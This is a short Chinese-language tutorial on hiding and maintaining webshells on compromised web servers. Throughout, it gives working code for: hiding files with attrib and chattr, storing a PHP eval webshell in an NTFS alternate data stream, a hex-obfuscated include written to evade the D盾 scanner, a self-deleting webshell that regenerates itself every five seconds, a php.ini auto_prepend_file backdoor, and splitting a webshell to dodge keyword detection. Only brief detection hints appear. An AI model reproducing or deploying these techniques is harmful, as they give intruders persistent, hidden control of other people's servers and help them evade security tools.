权限维持——牧马隐藏技巧
本文仅作学习记录,如有侵权,请联系删除!
修改文件属性:
- Windows
使用attrib命令,参数说明如下:
+r 设置只读属性
-r 取消只读属性
+a 设置存档属性
-a 取消存档属性
+s 设置系统属性
-s 取消系统属性
+h 设置隐藏属性
-h 取消隐藏属性
/s 显示目录下所有文件的属性
/d 将attrib和任意命令行选项应用到目录
attrib +s +h webshell.php
即使开启了显示隐藏的文件或是只使用dir显示都是看不见的
检测手段:
dir /A
木马文件查杀
- Linux:
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。
chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf evil.php 删除文件
利用ADS流创建文件:
之前我只知道可以通过ADS流模式突破进而创建文件夹,这还是udf提权的技巧,但实际我对ADS是很陌生的,这里简单学习一波~
NTFS交换数据流(alternate data streams简称ADS)是NTFS磁盘格式的一个特性。
一个完整的流的格式为:
<filename>:<stream name>:<stream type>
- 主流即我们平时可以看见的可以存储数据的文件。而非主文件流寄宿于主文件流中,无法直接读取。
- 修改宿主文件的内容或流的内容,不会对彼此造成影响。
- 流类型总是以
$
符号作为开始,NTFS文件系统中的文件至少包含一个主流,也就是data流($DATA
),默认流名为空。
- ADS可以省略流名,但不能省略流类型。
- NTFS文件系统中的文件夹没有data流,但可以指派data流,文件夹的主流为directory流(
$INDEX_ALLOCATION
),流名默认为$I30
在命令行中echo一个数据流从而创建一个ADS隐藏文件
echo ^<?php @eval($_POST['pass']);?^> > index.php:shell.jpg
这样生成了一个不可见的shell.jpg,type dir del命令都不行
我们只能看见一个index.php文件,且内容为空
这里做个解释:
对于windows环境的服务器,上传test.php:.jpg类型的文件,当文件传到服务端时,windows会将该文件识别成ADS,从而认为其宿主文件名为test.php而将.jpg识别为流名。
通过notepad test.php:.jpg可以查看内容,所以test.php内容为空是正常的。
命令行输入完整的文件名即可通过notepad进行编辑
虽然我们已经将文件隐藏了,都是木马但并不能够起作用,这里就需要用到文件包含:
<?php include('index.php:shell.jpg');?>
然后直接用蚁剑去连接即可
后面惊奇地发现这个php包含文件居然没有被D盾查杀
这里利用PHP可变变量进行二次转换加上对包含的文件名进行hex处理进行免杀绕过
<?php
$a="696E6465782E7068703"."A7368656C6C2E6A7067";
$b="a";
include(PACK('H*',$$b))
?>
不死马:
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
sleep(5);
}?>
在每次删除后的5秒钟之后又会重新生成一个新的webshell.php文件,若要彻底删除文件最好的方法是将web服务停止了再删除。
php.ini:
利用原理:访问一个php文件,在文件执行之前自动执行牧马文件:
1、在php.ini中找到配置项,修改auto_prepend_file:
auto_prepend_file =shell.dll
2、修改include_path
修改为存在后门文件的绝对路径
# ; Windows: "\path1;\path2"
include_path = ".;c:\php\includes;D:\phpstudy_pro\666"
3、在include_path指定的路径上创建webshell.dll文件:
<?php @eval($_POST[pass]);?>
然后重启Web应用,用蚁剑连接任一可以访问到的php文件即可
关键字拆分与文件包含:
将webshell拆分成两个部分:
<?php @eval($_POST[pass]);?>
<?php
$a = $_POST[pass];
?>
<?php
include "a.php";
@eval($a);
?>